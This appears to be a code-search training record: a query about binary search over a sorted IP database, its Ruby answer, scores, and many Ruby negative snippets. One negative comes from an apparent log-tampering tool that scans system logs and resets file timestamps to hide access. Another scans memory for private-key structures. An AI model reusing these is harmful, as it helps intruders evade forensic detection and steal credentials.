Hash<ip_def, ip_mask, ip_24\n @ips_24_mask = {} unless defined?(@ips_24_mask)\n @ips_24_mask[ip_def] = {} unless @ips_24_mask.key?(ip_def)\n unless @ips_24_mask[ip_def].key?(ip_mask)\n ip_range = IPAddress::IPv4.new(\"#{ip_def}/#{ip_mask}\")\n @ips_24_mask[ip_def][ip_mask] = []\n (0..255).each do |ip_third|\n ip_24 = \"172.16.#{ip_third}.0/24\"\n @ips_24_mask[ip_def][ip_mask] << ip_24 if ip_range.include?(IPAddress::IPv4.new(ip_24))\n end\n end\n @ips_24_mask[ip_def][ip_mask]\n end", "def get_key_address(ret, key)\n\ta=ret[key]\n\n\tputs \"Matching addr #{a}\"\n\n\tm=a.match(RE_RANGE)\n\tif m.nil?\n\t\tm=a.match(RE_CIDR)\n\t\tif m.nil?\n\t\t\tm=a.match(RE_ADDR)\n\t\t\tif m.nil?\n\t\t\t\tret[:unknown] = \"Unknown address format [#{a}]\"\n\t\t\telse\n\t\t\t\tret=match2addr(m, ret)\n\t\t\tend\n\t\telse\n\t\t\tret=match2cidr(m, ret)\n\t\tend\n\telse\n\t\tret=match2range(m, ret)\n\tend\n\n\tret\nend", "def ip\n orig, Socket.do_not_reverse_lookup = Socket.do_not_reverse_lookup, true # turn off reverse DNS resolution temporarily\n UDPSocket.open do |s|\n s.connect '64.233.187.99', 1\n s.addr.last\n end\n ensure\n Socket.do_not_reverse_lookup = orig\n end", "def getControlIP(hrn, domain = \"grid\")\n qs = <<CONTROL_QS\nSELECT nodes.control_ip\n FROM nodes\n LEFT JOIN locations ON nodes.location_id = locations.id\n LEFT JOIN testbeds ON locations.testbed_id = testbeds.id\nWHERE testbeds.name='#{domain}'\n AND nodes.hrn='#{hrn}';\nCONTROL_QS\n\n addr = nil\n runQuery(qs) { |ip|\n addr = ip\n }\n return addr\n end", "def ip\n arp = Cheetah.run([\"arp\", \"-n\"], stdout: :capture)\n entry = arp.lines.find { |a| a.include?(mac) }\n return nil if entry.nil?\n entry.split(\" \")[0]\n end", "def host_routable_ip(target_ip = docker_routable_ip)\n best_match = ''\n best_prefix = 0\n\n target_cps = target_ip.codepoints\n\n @my_ips.each do |my_ip|\n ip_cps = my_ip.codepoints\n prefix = 0\n ip_cps.each_with_index do |cp, i|\n break unless target_cps[i] == cp\n prefix = i\n end\n\n if prefix > best_prefix\n best_match = my_ip\n best_prefix = prefix\n end\n end\n\n best_match\n end" ]
[ "0.68244153", "0.66589266", "0.64237076", "0.6320384", "0.624898", "0.6239285", "0.6194495", "0.615286", "0.6134055", "0.6130584", "0.60852426", "0.60296327", "0.593637", "0.59181243", "0.5839375", "0.5749489", "0.5733077", "0.5722626", "0.57174516", "0.57073605", "0.56900185", "0.5688467", "0.56658393", "0.56540996", "0.5635298", "0.5600747", "0.55885535", "0.5567734", "0.556468", "0.55522555", "0.5551743", "0.5544497", "0.5515315", "0.5494241", "0.5479954", "0.54583746", "0.5411045", "0.54073626", "0.5402931", "0.539816", "0.53929937", "0.5385177", "0.5383221", "0.5382574", "0.53639084", "0.53635025", "0.53635025", "0.5359869", "0.5359321", "0.5349447", "0.5348326", "0.5344688", "0.5339763", "0.5322835", "0.53186935", "0.5276991", "0.5272818", "0.5272382", "0.5258974", "0.5254047", "0.52514976", "0.5225702", "0.52179307", "0.5214899", "0.5214666", "0.52086055", "0.5198078", "0.51898926", "0.518296", "0.5182652", "0.5182644", "0.517374", "0.5156623", "0.51564825", "0.5146062", "0.51435864", "0.51433635", "0.5140878", "0.5136879", "0.5136662", "0.51323014", "0.5132097", "0.5131404", "0.5129534", "0.51268035", "0.5123809", "0.5122658", "0.5117049", "0.5114075", "0.5100309", "0.5092684", "0.5085569", "0.5077355", "0.50657964", "0.5064127", "0.5051111", "0.5047498", "0.5046248", "0.5044979", "0.5040806" ]
0.73373544
0
Binary search through sorted IP database. The search uses nonrecordaligned byte offsets into the file, but always scans forward for the next parsable record from a given offset. It keeps track of the
def find_rec(ip_value) lower, upper = 0, @db_size - 1 prev_rec = nil loop do ofst = lower + ((upper - lower) / 2) rec = next_rec_from_ofst(ofst) if rec == prev_rec # We have narrowed the search to where we're hitting # the same record each time. Can't get any narrower. # But these are variable-length records, so there may # be one or more at our lower bound we haven't seen. # Do a linear scan from our lower bound to examine the # few records remaining. ofst = lower while (rec = next_rec_from_ofst(ofst)) != prev_rec return rec if rec.contains? ip_value ofst = @db_pos end raise("no record found for ip_value #{ip_value}") end return rec if rec.contains? ip_value if ip_value < rec.from upper = ofst else lower = @db_pos end prev_rec = rec end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_all(ip)\n\t\tself.v4 = ip.length == 4 && self.ip_version == 4\n\t\tipnum = ip.unpack(\"N\")[0] + 0\n\t\tmid = self.count/2\n\t\tcol_length = columns * 4\n\t\tlow = 0\n\t\thigh = count\n\t\treturn self.record = bsearch(low, high, ipnum, self.base_addr, col_length)\n\tend", "def search(ip)\n ip_value = self.class.ip_to_int(ip)\n find_rec(ip_value)\n end", "def search_data(search) \n key = 0\n found = 0 \n @buffers[@active_buffer].last_displayed_line = 0\n @buffers[@active_buffer].clean_buffers_other_than([]) #clean all buffers\n @buffers[@active_buffer].add_previous_search(@buffers[@active_buffer-1].regex_array) \n while data = read_file(key) do \n break if data.length==1 \n set_data = @buffers[@active_buffer].loaded_data_size < @@BLOCK_SIZE*2 \n found += @buffers[@active_buffer].set_buffer_data(key,data,search,set_data)[1] \n key = @buffers[@active_buffer].get_next_buffer(key)\n break if key.nil? \n end\n Rula.log(Logger::INFO,\"Found #{found} items\",self) \n @file_eof = false\n end", "def read_offset(fp)\n byte = Support::HexString.from_bin(fp.read(1)).ord\n tot = byte & 0x7f\n while (byte & 0x80) > 0\n byte = Support::HexString.from_bin(fp.read(1)).ord\n tot = ((tot + 1) << 7) | (byte & 0x7f)\n break if (byte & 0x80) == 0\n end\n tot\n end", "def binary_search(opts={})\n # I have a lot of stuff to do for scouts\n # but instead i'm doing this\n # hizzah!\n count = 0\n \n until opts[:find].empty?\n new_search = []\n count += 1\n \n zipped = opts[:find].zip opts[:repo].between(opts[:find])\n zipped.each do |(n, list)|\n list << n[1]\n p = n[0]\n f = 1 # ??? why are these vars so NAMELESS\n \n list.each do |item|\n UI::debug \"narrowing #{f}:#{list.size} #{short item}\"\n \n if opts[:node_map].include? item\n if f <= 2\n opts[:on_find].call(p, item)\n else\n UI::debug \"narrowed branch search to #{short p}:#{short item}\"\n new_search << [p, item]\n end\n break\n end\n \n p, f = item, f*2\n end\n end\n \n opts[:find] = new_search\n end\n \n [opts[:find], count]\n end", "def binary_search(array, length, value_to_find)\n puts \"NOT IMPLEMENTED\"\nend", "def binary_search(key)\n return binsearch(0, self.length - 1, key)\n end", "def binary_search(binary, size, search_key, low, middle, high)\n while (low <= high)\n middle=(low+high)/2;\n print_row(binary, size, low, middle, high);\n if (search_key == binary[middle])\n return middle;\n elsif (search_key <= binary[middle])\n high=middle-1\n else \n low=middle+1\n end\n end\nend", "def scan(buffer, source_offset)\n\n buffer.scan(\n # Look for a DER record start (0x30), a length value, and a version marker. \n # This identifies RSA, DSA, and EC keys\n /\\x30.{1,5}\\x02\\x01(?:\\x00\\x02|\\x01\\x04)/m\n ).each do |m|\n # This may hit an earlier identical match, but thats ok\n last_offset = buffer.index(m)\n next unless last_offset \n\n # Attempt to parse the key at the specified offset\n key_candidate = buffer[last_offset, 20000]\n key_type = nil\n key = nil\n\n [:RSA, :DSA, :EC ].each do |ktype|\n next unless OpenSSL::PKey.const_defined?(ktype)\n key_type = ktype\n key = OpenSSL::PKey.const_get(ktype).new(key_candidate) rescue nil\n break if key\n end\n\n # Ignore this if OpenSSL could not parse out a valid key\n next unless key\n\n report_hit(:type => \"#{key_type}\", :data => key.to_pem, :offset => source_offset + last_offset)\n end\n end", "def binary_search_by_directory(dir, key)\n Innodb::Stats.increment :binary_search_by_directory\n\n return if dir.empty?\n\n # Split the directory at the mid-point (using integer math, so the division\n # is rounding down). Retrieve the record that sits at the mid-point.\n mid = ((dir.size - 1) / 2)\n rec = record(dir[mid])\n return unless rec\n\n if Innodb.debug?\n puts \"binary_search_by_directory: page=%i, level=%i, dir.size=%i, dir[%i]=(%s)\" % [\n offset,\n level,\n dir.size,\n mid,\n rec.key_string,\n ]\n end\n\n # The mid-point record was the infimum record, which is not comparable with\n # compare_key, so we need to just linear scan from here. If the mid-point\n # is the beginning of the page there can't be many records left to check\n # anyway.\n return linear_search_from_cursor(record_cursor(rec.next), key) if rec.header.type == :infimum\n\n # Compare the desired key to the mid-point record's key.\n case rec.compare_key(key)\n when 0\n # An exact match for the key was found. Return the record.\n Innodb::Stats.increment :binary_search_by_directory_exact_match\n rec\n when +1\n # The mid-point record's key is less than the desired key.\n if dir.size > 2\n # There are more entries remaining from the directory, recurse again\n # using binary search on the right half of the directory, which\n # represents values greater than or equal to the mid-point record's\n # key.\n Innodb::Stats.increment :binary_search_by_directory_recurse_right\n binary_search_by_directory(dir[mid...dir.size], key)\n else\n next_rec = record(dir[mid + 1])\n next_key = next_rec&.compare_key(key)\n if dir.size == 1 || next_key == -1 || next_key.zero?\n # This is the last entry remaining from the directory, or our key is\n # greater than rec and less than rec+1's key. Use linear search to\n # find the record starting at rec.\n Innodb::Stats.increment :binary_search_by_directory_linear_search\n linear_search_from_cursor(record_cursor(rec.offset), key)\n elsif next_key == +1\n Innodb::Stats.increment :binary_search_by_directory_linear_search\n linear_search_from_cursor(record_cursor(next_rec.offset), key)\n end\n end\n when -1\n # The mid-point record's key is greater than the desired key.\n if dir.size == 1\n # If this is the last entry remaining from the directory, we didn't\n # find anything workable.\n Innodb::Stats.increment :binary_search_by_directory_empty_result\n nil\n else\n # Recurse on the left half of the directory, which represents values\n # less than the mid-point record's key.\n Innodb::Stats.increment :binary_search_by_directory_recurse_left\n binary_search_by_directory(dir[0...mid], key)\n end\n end\n end", "def bitpos(key, bit, start = T.unsafe(nil), stop = T.unsafe(nil)); end", "def binary_search(array, length, value_to_find)\n raise NotImplementedError\nend", "def line_from_ip(ip)\n return -1 unless @lines\n return 0 if @lines.size < 2\n\n low = 0\n high = @lines.size / 2 - 1\n\n while low <= high\n # the chance that we're going from a fixnum to a bignum\n # here is low, but we still try to prevent that.\n mid = low + ((high - low) / 2)\n\n line_index = mid * 2 + 1\n\n if ip < @lines.at(line_index - 1)\n high = mid - 1\n elsif ip >= @lines.at(line_index + 1)\n low = mid + 1\n else\n return @lines.at(line_index)\n end\n end\n\n @lines.at(@lines.size - 2)\n end", "def first_ip_on_line(line, start=nil)\n i = 1\n total = @lines.size\n\n while i < total\n cur_line = @lines.at(i)\n if cur_line >= line\n ip = @lines.at(i-1)\n\n if !start or ip > start\n # matched the definition line, return 0\n return 0 if ip == -1\n return ip\n end\n end\n\n i += 2\n end\n\n nil\n end", "def binary_search(a, key)\n return binary_search_rec(a, key, 0, a.length - 1)\nend", "def search(sp)\n hit = -1\n @buffer.each_with_index do |line, index|\n if line[1] == sp\n hit = index\n break\n end\n end\n\n if hit > -1\n @buffer.each do |line|\n # Decrement LRU for those that are greater than the hit entry\n if line[0] > @buffer[hit][0]\n line[0] -= 1\n end\n end\n # set LRU to max\n @buffer[hit][0] = 3\n @buffer[hit][2]\n else\n -1\n end\n end", "def filter_off(ip, line, input, vp_hash)\n\tprocess_line(ip, find_elem(line, 3), find_elem(line, 2), vp_hash)\n # while there is still data, and while the IP of next\n # is the same as this IP, yield statement\n while nex = input.gets and find_elem(nex).eql?(ip)\n #yield the VP (index 3) and IP (index 1)\n\t\tprocess_line(ip, find_elem(nex, 3), find_elem(nex, 2), vp_hash)\n end\n #return the line that contains the first different prefix\n nex\nend", "def gather_ip\n\tip=[]\n\t@ip=[] #hold our unique IP found in logs\n\t@ipz=Hash.new #create new hash for storage of ip with associated number of occurances\n\tif not @bin_logz.empty?\n\t\t@bin_logz.each do |log| #Check Binary Logs\n\t\t\tooo = File.stat(file)\n\t\t\toatime=foo.atime #atime before edit\n\t\t\tomtime=foo.mtime #mtime before edit\n\t\t\tf=File.open(log, 'rb')\n\t\t\tfoo = f.readlines\n\t\t\tf.close\n\t\t\tip << foo.to_s.scan(/([0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3})/).uniq #Each uniq IP found is captured in our @ip array for further enumeration later....\n\t\t\tFile.utime(oatime, omtime, file) #Keep timestamp preserved\n\t\tend\n\tend\n\tif not @logz.empty?\n\t\t@logz.each do |log| #Non-Binary Logs\n\t\t\tooo = File.stat(file)\n\t\t\toatime=foo.atime #atime before edit\n\t\t\tomtime=foo.mtime #mtime before edit\n\t\t\tf=File.open(log)\n\t\t\tfoo = f.readlines\n\t\t\tf.close\n\t\t\tip << foo.to_s.scan(/([0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3})/).uniq #Each uniq IP found is captured and added into our @ip array for further enumeration later....\n\t\t\tFile.utime(oatime, omtime, file) #Keep timestamp preserved\n\t\tend\n\tend\n\tip.each do |i|\n\t\tif not i.nil?\n\t\t\ti.each do |p|\n\t\t\t\t@ip << p\n\t\t\tend\n\t\tend\n\tend\n\tif @ip.empty?\n\t\tputs \"#{HC}#{FRED}No Unique IP Found in Logs Files#{FWHT}?#{RS}\"\n\telse\n\t\t@ip = @ip.uniq #Make sure we remove duplicate entries since we combined logs, etc\n\t\tisize=@ip.size #Array size should equal the number of matches found\n\t\tif isize.to_i < 25\n\t\t\tputs \"#{HC}#{FGRN}Only found #{FWHT}#{isize}#{FGRN} unique IP in Log Files#{FWHT}!#{RS}\"\n\t\t\t@ip.each do |ip|\n\t\t\t\tputs \"#{HC}#{FGRN}IP#{FWHT}: #{ip}#{RS}\" \n\t\t\tend\n\t\telse\n\t\t\tputs \"#{HC}#{FGRN}Found #{FWHT}#{isize}#{FGRN} unique IP in Log Files#{FWHT}!#{RS}\"\n\t\t\tputs \"#{HC}#{FGRN}Checking which occur the most, might take a sec#{FWHT}.....#{RS}\\n\"\n\t\t\t#Now that we have unique IP, lets see which ones have the highest occurance in the log files we already found....\n\t\t\t@ip.each do |ip|\n\t\t\t\tocc=0\n\t\t\t\tif not @bin_logz.empty?\n\t\t\t\t\t@bin_logz.each do |log| #Binary log\n\t\t\t\t\t\tooo = File.stat(file)\n\t\t\t\t\t\toatime=foo.atime #atime before edit\n\t\t\t\t\t\tomtime=foo.mtime #mtime before edit\n\t\t\t\t\t\tf=File.open(log)\n\t\t\t\t\t\tfoo = f.readlines\n\t\t\t\t\t\tf.close\n\t\t\t\t\t\tocc = occ.to_i + foo.to_s.scan(/(#{ip[0]})/).count #increase our occurances variable by the number of times it was found\n\t\t\t\t\t\tFile.utime(oatime, omtime, file) #Keep timestamp preserved\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tif not @logz.empty?\n\t\t\t\t\t@logz.each do |log| #Non-Binary Log\n\t\t\t\t\t\tooo = File.stat(file)\n\t\t\t\t\t\toatime=foo.atime #atime before edit\n\t\t\t\t\t\tomtime=foo.mtime #mtime before edit\n\t\t\t\t\t\tf=File.open(log)\n\t\t\t\t\t\tfoo = f.readlines\n\t\t\t\t\t\tf.close\n\t\t\t\t\t\tocc = occ.to_i + foo.to_s.scan(/(#{ip[0]})/).count #increase our occurances variable by the number of times it was found\n\t\t\t\t\t\tFile.utime(oatime, omtime, file) #Keep timestamp preserved\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t@ipz.store(ip[0], occ) #Add each value after searching into our hash\n\t\t\tend\n\t\t\t@ipz.sort_by { |key, value| value } #Sorts them by count value (i.e. 1,2,3,4,5) \n\t\t\ttop = Hash[@ipz.sort_by { |key, value| -value }.first 25] #Now that they have been sorted, pop off the top 5 found\n\t\t\tputs \"#{HC}#{FGRN}Top 25 Unique IP in Log Files#{FWHT}: #{RS}\"\n\t\t\ttop.each do |key, value|\n\t\t\t\tif not key.nil?\n\t\t\t\t\tputs \"#{HC}#{FGRN}The IP '#{FWHT}#{key}#{FGRN}' was found #{FWHT}#{value}#{FGRN} times#{FWHT}!#{RS}\" #Print the IP associated with each value for Top 5 Found\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tputs\n\tend\nend", "def rec_bin_search(array, target)\n return nil if array.length == 0\n\n midpoint = array.length / 2\n\n return midpoint if array[midpoint] == target\n\n if target < array[midpoint]\n rec_bin_search(array.take(midpoint), target)\n else\n top = rec_bin_search(array.drop(midpoint + 1), target)\n top == nil ? nil : top + (midpoint + 1)\n end\nend", "def process_file(offset = 0)\n batch = Array.new\n idx = 0\n IO.readlines(@logfile).each do |line|\n if (idx += 1) <= offset\n next\n end\n\n m = line.match(@regex)\n if !m\n $stderr.puts \"Dropping logline '#{line}' because it does not match the parsing regex: #{@regex}\"\n next\n end\n\n if batch.size >= @batch_size\n enqueue_batch(batch.dup)\n batch.clear()\n end\n\n batch.push(m)\n end\n\n if batch.size > 0\n enqueue_batch(batch)\n end\n\n return idx\n end", "def offsetsAndConfigurationIndex(file)\n endiannessMarkerBytes = nil\n result = {}\n \n def readInt(endianness, bytes)\n if endianness == :little\n # Little endian\n (bytes[0] << 0 |\n bytes[1] << 8 |\n bytes[2] << 16 |\n bytes[3] << 24)\n else\n # Big endian\n (bytes[0] << 24 |\n bytes[1] << 16 |\n bytes[2] << 8 |\n bytes[3] << 0)\n end\n end\n \n def prepareMagic(endianness, numbers)\n magicBytes = []\n numbers.each {\n | number |\n currentBytes = []\n 4.times {\n currentBytes << (number & 0xff)\n number >>= 8\n }\n if endianness == :big\n currentBytes.reverse!\n end\n magicBytes += currentBytes\n }\n magicBytes\n end\n \n fileBytes = []\n \n File.open(file, \"rb\") {\n | inp |\n loop {\n byte = inp.getbyte\n break unless byte\n fileBytes << byte\n }\n }\n \n def sliceByteArrays(byteArray, pattern)\n result = []\n lastSlicePoint = 0\n (byteArray.length - pattern.length + 1).times {\n | index |\n foundOne = true\n pattern.length.times {\n | subIndex |\n if byteArray[index + subIndex] != pattern[subIndex]\n foundOne = false\n break\n end\n }\n if foundOne\n result << byteArray[lastSlicePoint...index]\n lastSlicePoint = index + pattern.length\n end\n }\n \n result << byteArray[lastSlicePoint...(byteArray.length)]\n \n result\n end\n \n [:little, :big].each {\n | endianness |\n headerMagicBytes = prepareMagic(endianness, OFFSET_HEADER_MAGIC_NUMBERS)\n magicBytes = prepareMagic(endianness, OFFSET_MAGIC_NUMBERS)\n \n bigArray = sliceByteArrays(fileBytes, headerMagicBytes)\n unless bigArray.size <= 1\n bigArray[1..-1].each {\n | configArray |\n array = sliceByteArrays(configArray, magicBytes)\n index = readInt(endianness, array[1])\n offsets = []\n array[2..-1].each {\n | data |\n offsets << readInt(endianness, data)\n }\n result[index] = offsets\n }\n end\n }\n \n raise MissingMagicValuesException unless result.length >= 1\n \n # result is {index1=>offsets1, index2=>offsets2} but we want to return\n # [[offsets1, index1], [offsets2, index2]].\n return result.map {\n | pair |\n pair.reverse\n }\nend", "def binary_search(array, length, value_to_find)\n # take the length and divide in half,\n # start_index = 0\n # end_index = length - 1\n # midpoint = length / 2\n # until start_index > end_index\n #\n # end\n\nend", "def find_bit(data, idx_bit_begin_search)\n data_32bits = data.unpack('N*')\n # Mask the ignored bits with 0\n data_32bits[0] = data_32bits[0] & ((1 << (32-idx_bit_begin_search))-1) if (idx_bit_begin_search > 0)\n idx_not_null = data_32bits.find_index { |v| v != 0 }\n return nil if (idx_not_null == nil)\n not_null = data_32bits[idx_not_null]\n position_in_32bits = 0\n mask = (1 << 31)\n while ((not_null & mask) == 0)\n position_in_32bits += 1\n mask = mask >> 1\n end\n return idx_not_null*32 + position_in_32bits\n end", "def lookup_key(key)\n hash = get_hash(key)\n path = File.join(@index_folder, \"#{hash}.index\")\n @logger.fine(\"Using index file '#{path}'\")\n return nil unless File.exist?(path)\n\n index_data = []\n File.open(path, 'rb') do |f|\n timestamp = read_int(0, f)\n raise IndexError.new('Index is out of date') if timestamp != @data_timestamp\n index_data = f.read\n end\n\n it = index_data.each_byte\n while it.peek\n k = unpack_string(it) # First read a null terminated string.\n o = unpack_int(it) # Then a long that represents the offset.\n return o if k.eql?(key) # If the string and key match, then the long is the required offset.\n return nil if k > key # If the unpacked key is greater than the required key, we can return immediately.\n end\n rescue StopIteration\n # EOF without finding anything.\n rescue IndexError\n raise IndexError.new(\"Error encountered while processing index file '#{path}'\", $!)\n end", "def binary_search(array, length, value_to_find)\n low_index = 0\n high_index = length - 1\n search_position = (low_index + length / 2)\n found = false\n ((Math.log2(length).to_i) + 1).times do #Adds 1 to account for lengths where the actual log2 is a decimal number.\n unless found == true\n if array[search_position] == value_to_find\n found = true\n return found\n elsif array[search_position] < value_to_find\n low_index = search_position\n search_position = (low_index + (high_index + 1)) / 2\n elsif array[search_position] > value_to_find\n high_index = search_position\n search_position = (low_index + high_index) / 2\n end\n end\n end\n return found\nend", "def binary_search(array, length, value_to_find)\n start_point = 0\n last_point = length - 1\n while start_point <= last_point\n middle_point = (start_point + last_point) / 2\n if array[middle_point] == value_to_find\n return true\n elsif array[middle_point] > value_to_find\n last_point = middle_point - 1\n else\n start_point = middle_point + 1\n end\n end\n return false\n # raise NotImplementedError\nend", "def index_psm_positions\n # create an in-memroy index of PSM byteoffsets\n q,p = 0,0\n # move the cursor past the boundary line\n @filehandle.readline\n @filehandle.each do |line|\n break if line =~ @dat.boundary\n line =~ /q(\\d+)_p(\\d+)/\n qq,pp= $1.to_i, $2.to_i\n next if q == qq && p == pp\n q,p = qq,pp\n unless @psmidx.has_key?(q)\n @psmidx[q] = {}\n end\n @psmidx[q][p] = @filehandle.pos - line.length\n end\n @endbytepos = @filehandle.pos - @dat.boundary_string.length\n self.rewind\n end", "def binary_search(key, input) \n find_flag = false\n\n search_left = 0\n search_right = input.length() - 1\n pivot = (search_left + search_right) / 2\n\n while search_left < search_right\n pivot = (search_left + search_right) / 2\n if key == input[pivot]\n find_flag = true\n break\n end\n break if pivot == search_right || pivot == search_left\n search_right = pivot if key < input[pivot]\n search_left = pivot if key > input[pivot]\n end \n\n if find_flag\n puts \"#{key}は input#{pivot}で発見しました\"\n else\n puts \"#{key}は見つかりませんでした..\"\n end\n end", "def binary_search(array, length, value_to_find)\n beg_index = 0\n end_index = length - 1\n while beg_index <= end_index do\n half = (end_index - beg_index) / 2\n if array[beg_index + half] == value_to_find\n return true\n elsif array[beg_index + half] < value_to_find\n beg_index = beg_index + half + 1\n else\n end_index = beg_index + half - 1\n end\n end\n return false\nend", "def binary_search(array, length, value_to_find)\n mid_point = length/2\n mid = array[mid_point]\n counter = 0\n\n until mid == value_to_find || counter > length\n if mid > value_to_find\n mid_point = mid_point/2\n else \n mid_point = (length - mid_point)/2 + mid_point\n end\n\n mid = array[mid_point]\n counter += 1\n end\n\n mid == value_to_find\nend", "def binary_search(ary, value); end", "def binary_find(array)\n\tstart = 0\n last = array.length - 1\n # checks the boundaries first\n return 1 if array[0] != 1\n\treturn array.length + 1 if array[array.length-1] != array.length + 1\n\twhile start <= last\n\t\tmiddle = ((start + last) / 2).floor\n\t\tmiddle_v = array[middle]\n\t\texpected = middle + 1\n\t\tnext_v = array[middle + 1]\n\t\tprev_v = array[middle - 1]\n\t\t# check adjacent elements to see if a number is skipped\n\t\tif next_v - middle_v > 1\n\t\t\t# missing value is just above middle value\n\t\t\treturn middle_v + 1\n\t\telsif prev_v - middle_v < -1\n\t\t\treturn middle_v - 1\n\t\tend\n\t\tif middle_v > expected\n\t\t\t# missing val must be before 'middle' index\n\t\t\tlast = middle - 1\n\t\telse\n\t\t\t# missing val must be after 'middle' index\n\t\t\tstart = middle + 1\n\t\tend\n\tend\n\treturn -1\nend", "def binary_search(length, prime)\r\n\r\nend", "def binary_search(array, length, value_to_find)\n if length == 0\n return false\n end\n low_point = 0\n high_point = length - 1\n while low_point < high_point\n mid = (low_point + high_point) / 2\n if array[mid.floor] == value_to_find\n return true\n elsif array[mid.floor] > value_to_find\n high_point = mid - 1\n else\n low_point = mid + 1\n end\n end\n #After the while low_point < high_point, there is a case where low_point is equal to high_point and we need an additional if statement below to check whether the value at highpoint -lowpoint and hightpoint are the same index at this point) is equal to the value_to_find\n if array[low_point] == value_to_find\n return true\n else\n return false\n end\nend", "def search(regex)\n\tif not @bin_logz.empty?\n\t\t@bin_logz.each do |log|\n\t\t\tif log =~ /lastlog/i\n\t\t\t\tcheck_lastlog(regex) #Check using standalone function since file doesnt play nice with normal parsing methods....idk, wtf?\n\t\t\telse\n\t\t\t\tcontent_exists(log, regex, 2) #Binary Mode\n\t\t\tend\n\t\tend\n\tend\n\tif not @logz.empty?\n\t\t@logz.each do |log|\n\t\t\tif log =~ /lastlog/i #If we found last log in another location lets check using mornal means all the same\n\t\t\t\tcheck_lastlog(regex)\n\t\t\telse\n\t\t\t\tcontent_exists(log, regex, 1) #Non-Binary mode (ASCII)\n\t\t\tend\n\t\tend\n\tend\nend", "def binary_search array, value, start, ends\n\treturn false if start > ends\n\tpivote = start + ((ends - start) / 2).floor\n\tif value == array[pivote]\n\t\treturn count_repeated array, value, pivote\n\telsif value > array[pivote]\n\t\tbinary_search array, value, pivote+1, ends\n\telse value < array[pivote]\n\t\tbinary_search array, value, start, pivote-1\n\tend\nend", "def binary_search_internal(value)\n return [false, 0] if @inner.size == 0\n left = 0\n right = @inner.size - 1\n return [false, 0] if value < @inner[left]\n return [false, right + 1] if value > @inner[right]\n while left <= right\n middle = (left + right) / 2\n if @inner[middle] == value\n return [true, middle]\n elsif value < @inner[middle]\n right = middle - 1\n else\n left = middle + 1\n end\n end\n return [false, left]\n end", "def read_record\n n_read = 0\n tu = @file.read INT_SIZE\n return nil if tu.nil? || tu.bytesize < INT_SIZE\n if (tu == (ZERO_BYTE_ASCII_8BIT * INT_SIZE))\n # empty record. skip this page.\n @file.seek(PAGE_SIZE - INT_SIZE, IO::SEEK_CUR)\n return nil\n end\n n_read += tu.bytesize\n t = tu.unpack(PACK_UINT).first\n\n return nil if @file.eof?\n lu = @file.read INT_SIZE\n return nil if lu.nil? || lu.bytesize < INT_SIZE\n n_read += lu.bytesize\n l = lu.unpack(PACK_UINT).first\n\n if false # l == 7016996765293437281\n puts \"*************** #{__FILE__} #{__LINE__} *************\"\n puts \"at: #{@file.tell}\"\n end\n\n if l > MAX_VALUE_SIZE\n raise ParseError.new \"Read size that exceeds the maximum size for a value.\"\n end\n\n k = nil\n begin\n k = @file.read l\n rescue NoMemoryError => e\n # puts \"*************** #{__FILE__} #{__LINE__} *************\"\n # puts \"#{e.message} at #{l}\"\n raise\n end\n\n return nil if k.nil? || k.bytesize < l\n n_read += k.bytesize\n d = if t != WRITE_TYPE_INDEXES[:array]\n [t, k]\n else\n asu = @file.read INT_SIZE\n return nil if asu.nil? || asu.bytesize < INT_SIZE\n n_read += asu.bytesize\n as = asu.unpack(PACK_UINT).first\n [t, k, as]\n end\n return nil if d.nil?\n\n v = nil\n\n raw_v = nil\n case d[0]\n when WRITE_TYPE_INDEXES[:array]\n a = []\n d[2].times do |i|\n raw_v, b_read = read_value_s\n n_read += b_read\n break if raw_v.nil?\n a.push(raw_v)\n end\n v = a\n when WRITE_TYPE_INDEXES[:hash], WRITE_TYPE_INDEXES[:set]\n raw_v, b_read = read_value_s\n return nil if raw_v.nil?\n n_read += b_read\n v = MultiJson.decode(raw_v)\n when WRITE_TYPE_INDEXES[:string]\n v, b_read = read_value_s\n return nil if v.nil?\n n_read += b_read\n when WRITE_TYPE_INDEXES[:counter]\n v, b_read = read_value_i\n return nil if v.nil?\n n_read += b_read\n end\n\n pages_read = n_read / PAGE_SIZE\n remainder = (n_read % PAGE_SIZE)\n if remainder > 0\n @file.seek((PAGE_SIZE - remainder), IO::SEEK_CUR)\n pages_read += 1\n end\n\n [d, v, pages_read]\n end", "def binary_search(name)\n # store the beginning and end of the array index into lower and upper variable\n lower = 0\n upper = entries.length - 1\n \n # use loop on entries from AddressBook\n while lower <= upper\n # put the middle element from array into mid_name\n mid = (lower + upper) / 2\n mid_name = entries[mid].name\n \n # comparing name (input) to mid_name (from array)\n if name == mid_name\n return entries[mid]\n elsif name < mid_name\n upper = mid - 1\n elsif name > mid_name\n lower = mid + 1\n end\n end\n \n # will return nil if didn't find any match\n return nil\n end", "def index\n # Block if this file is currently being indexed by another thread/process\n if indexing?\n while indexing?\n sleep 1\n end\n else\n self.indexing = true\n \n begin\n # Filter unparseable entries\n # TODO: Find a more efficient way to filter unparseable entries without\n # having to copy the entire file line by line\n filtered = 0\n File.open(@filtered_file, 'w') do |f|\n File.foreach(@data_file) do |line|\n begin\n parse(line)\n f.write line\n rescue\n filtered += 0\n end\n end\n end\n puts \"Filtered #{filtered} unparseable entries\" if filtered > 0 and ENV['DEBUG']\n \n # File must be sorted\n File.sort(@filtered_file, @sorted_file, \"-k#{@chr_col},#{@chr_col} -k#{@start_col},#{@start_col}n\")\n \n # and BGZipped\n BGZip.compress(@sorted_file, @bgzipped_file)\n \n # Now Tabix can index it\n Tabix.index(@bgzipped_file, @chr_col, @start_col, @end_col)\n rescue\n raise EntryFileError, \"Error indexing file #{File.basename(@data_file)} for lookup!\"\n ensure\n # Delete the temporary filtered and sorted files since they are unneeded\n File.delete(@filtered_file) if File.exist?(@filtered_file)\n File.delete(@sorted_file) if File.exist?(@sorted_file)\n self.indexing = false\n end\n end\n end", "def scan(buffer, source_offset)\n\n buffer.scan(\n /[\\x06\\x07]\\x02.{6}(?:RSA1|RSA2|DSS1|DSS2).{20}/\n ).each do |m|\n # This may hit an earlier identical match, but thats ok\n last_offset = buffer.index(m)\n next unless last_offset \n\n # Attempt to parse the key at the specified offset\n key_candidate = buffer[last_offset, 20000]\n key_type = \"\"\n 